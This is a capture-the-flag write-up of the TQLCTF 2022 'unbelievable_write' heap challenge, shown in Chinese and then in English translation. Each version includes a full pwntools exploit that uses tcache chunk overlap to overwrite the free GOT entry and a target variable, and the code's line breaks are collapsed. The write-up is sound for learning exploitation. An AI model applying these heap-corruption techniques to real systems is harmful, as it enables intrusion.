题目
https://gitee.com/csomebro/ctftask/blob/master/2022-02_TQLCTF/unbelievable_write.zip
解题
Checksec 发现没开 PIE

IDA 检查,主要逻辑就是三个函数 c1 c2 c3



发现只要修改 target 的值就可以得到 flag

在 c2 中可以伪造一个堆的 chunk 到 tcache bin 中,实现堆块堆叠,之后可以修改物理地址相邻的下一个堆块的 fd 指针,实现任意位置写(题目附件给了 Dockerflie,使用 Ubuntu20.04 起的 docker)
在 gdb 调试中会发现 target 上方就是 got 表,直接伪造在 target 上伪造 chunk 在从 c1 中能够申请但 free 时会报错,过不了_int_free 中的检验,解决方法就是修改 free 的 got 表,让他不要 free 不就行了 hhhh,即在 tcache 中布置好两个伪造的堆块,一个用于修改 free_got,一个用于修改 target,由于不需要 free 了,堆块的地址也不需要 16 位对齐了。
Exp
from pwn import *
context.log_level = 'debug'# io = process('./pwn')io = remote('119.23.255.127', 21334)
def c1(size, content): io.sendlineafter('> ', '1') io.sendline(str(size)) io.sendline(content)
def c11(size, content): io.sendlineafter('> ', '1') io.sendline(str(size)) io.send(content)
def c2(offset): io.sendlineafter('> ', '2') io.sendline(str(offset))
def c3(): io.sendlineafter('> ', '3')
# c2(0x0404080)c1(0x40, 'aaa')c1(0x50, 'bbb')# 申请0x40和0x50堆块并直接进入tcache,其中0x50的堆块就是我要劫持的堆块,下文叫做vulnchunkp = 'a' * 0x10 + p64(0) + p64(0x200)c1(0x40, p) # 此时申请的0x40堆块就是之前的那个,写入fakechunk的头,fakechunk大小为0x1f0c2(0x40) # 计算偏移到fakechunk的地址,构造堆块堆叠c1(0x80, 'aaa') # 先在tcache[0x80]位置放入一个堆块p = 'a' * 0x20 + p64(0) + p64(0x91) + p64(0x0000404080) # 修改vulnchunk的size为0x91c1(0x1f0, p)c1(0x50, 'aaa') # 将vulnchunk申请出来,并立马free掉,此时会放入tcache[0x80]的位置# 此时tcache[0x80]位置会有两个堆块,[0x80] -> vulnchunk -> normalchunkp = 'a' * 0x20 + p64(0) + p64(0xa1) + p64(0x404018)c1(0x1f0, p)# 修改vuln再次修改size为,0xa1,并篡改fd指针为目标写入地址,此时0x404018是free_got地址# 此时的tcache[0x80] -> vulnchunk -> free_got chunk
c1(0x90, 'aaa') # 在0x90中先放一个堆块后续会用到c1(0x80, 'aaa') # 将vulnchunk申请出来,free之后会放入tcache[0x90]位置# 此时tcache[0x90] -> vulnchunk -> normal chunk# 此时tcache[0x80] -> free_got chun,即下一个0x80的堆块就是free_got地址的堆块p = p64(0x00401418) + p64(0x401040) + p64(0x401050)c1(0x80, p)# 将free_got内容写为c3函数地址,并复原下面一部分got表#由于结尾需要一个\n,我就把\n放到了__stack_check_fail的got表中了(反正也不会执行p = 'a' * 0x20 + p64(0) + p64(0xb1) + p64(0x404080)c1(0x1f0, p)# 重复上述修改vulnchunk fd指针操作,将target地址写入# 此时tcache[0x90] -> vulnchunk -> targetc1(0x90, 'aaa') # 将vulnchunk取出,此时tcache[0x90] -> targetc1(0x90, 'aaa') # 将target取出,并修改其中的值,由于free_got中是c3函数,所以会自动调用使其打印出flag
io.interactive()Translate by Kimi-K3
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-02_TQLCTF/unbelievable_write.zip
Solution
Checksec shows that PIE is not enabled.

Checking in IDA, the main logic consists of three functions: c1, c2, and c3.



We can see that we just need to modify the value of target to get the flag.

In c2, we can forge a heap chunk into the tcache bin, achieving heap chunk overlapping. Afterwards, we can modify the fd pointer of the physically adjacent next heap chunk to achieve an arbitrary write (the challenge attachment includes a Dockerfile, which runs a Docker container on Ubuntu 20.04).
During gdb debugging, you will notice that the GOT table is located right above target. Forging a chunk directly on top of target can be allocated from c1, but it will trigger an error when freed, failing the checks in _int_free. The solution is to modify the GOT entry of free so that it never actually frees anything, hhhh. That is, place two forged chunks in the tcache — one for modifying free_got, and one for modifying target. Since we no longer need to free anything, the chunk addresses don’t need to be 16-byte aligned either.
Exp
from pwn import *
context.log_level = 'debug'# io = process('./pwn')io = remote('119.23.255.127', 21334)
def c1(size, content): io.sendlineafter('> ', '1') io.sendline(str(size)) io.sendline(content)
def c11(size, content): io.sendlineafter('> ', '1') io.sendline(str(size)) io.send(content)
def c2(offset): io.sendlineafter('> ', '2') io.sendline(str(offset))
def c3(): io.sendlineafter('> ', '3')
# c2(0x0404080)c1(0x40, 'aaa')c1(0x50, 'bbb')# Allocate 0x40 and 0x50 chunks that go straight into the tcache; the 0x50 chunk is the one I want to hijack, referred to as vulnchunk belowp = 'a' * 0x10 + p64(0) + p64(0x200)c1(0x40, p) # The 0x40 chunk allocated here is the same one as before; write the header of the fakechunk, whose size is 0x1f0c2(0x40) # Calculate the offset to the fakechunk's address, constructing heap chunk overlappingc1(0x80, 'aaa') # First place a chunk at the tcache[0x80] slotp = 'a' * 0x20 + p64(0) + p64(0x91) + p64(0x0000404080) # Modify vulnchunk's size to 0x91c1(0x1f0, p)c1(0x50, 'aaa') # Allocate vulnchunk and immediately free it; it will be placed into the tcache[0x80] slot# Now tcache[0x80] has two chunks: [0x80] -> vulnchunk -> normalchunkp = 'a' * 0x20 + p64(0) + p64(0xa1) + p64(0x404018)c1(0x1f0, p)# Modify vuln's size again to 0xa1, and tamper with the fd pointer to the target write address; 0x404018 here is the free_got address# Now tcache[0x80] -> vulnchunk -> free_got chunk
c1(0x90, 'aaa') # First place a chunk in 0x90, which will be used laterc1(0x80, 'aaa') # Allocate vulnchunk; after freeing it will go into the tcache[0x90] slot# Now tcache[0x90] -> vulnchunk -> normal chunk# Now tcache[0x80] -> free_got chunk, i.e. the next 0x80 chunk will be the chunk at the free_got addressp = p64(0x00401418) + p64(0x401040) + p64(0x401050)c1(0x80, p)# Write the address of the c3 function into free_got, and restore the portion of the GOT below it# Since the end needs a \n, I put the \n into the GOT entry of __stack_check_fail (it won't be executed anyway)p = 'a' * 0x20 + p64(0) + p64(0xb1) + p64(0x404080)c1(0x1f0, p)# Repeat the above operation of modifying vulnchunk's fd pointer, writing the target address in# Now tcache[0x90] -> vulnchunk -> targetc1(0x90, 'aaa') # Take out vulnchunk; now tcache[0x90] -> targetc1(0x90, 'aaa') # Take out target and modify the value in it; since free_got contains the c3 function, it gets called automatically and prints the flag
io.interactive()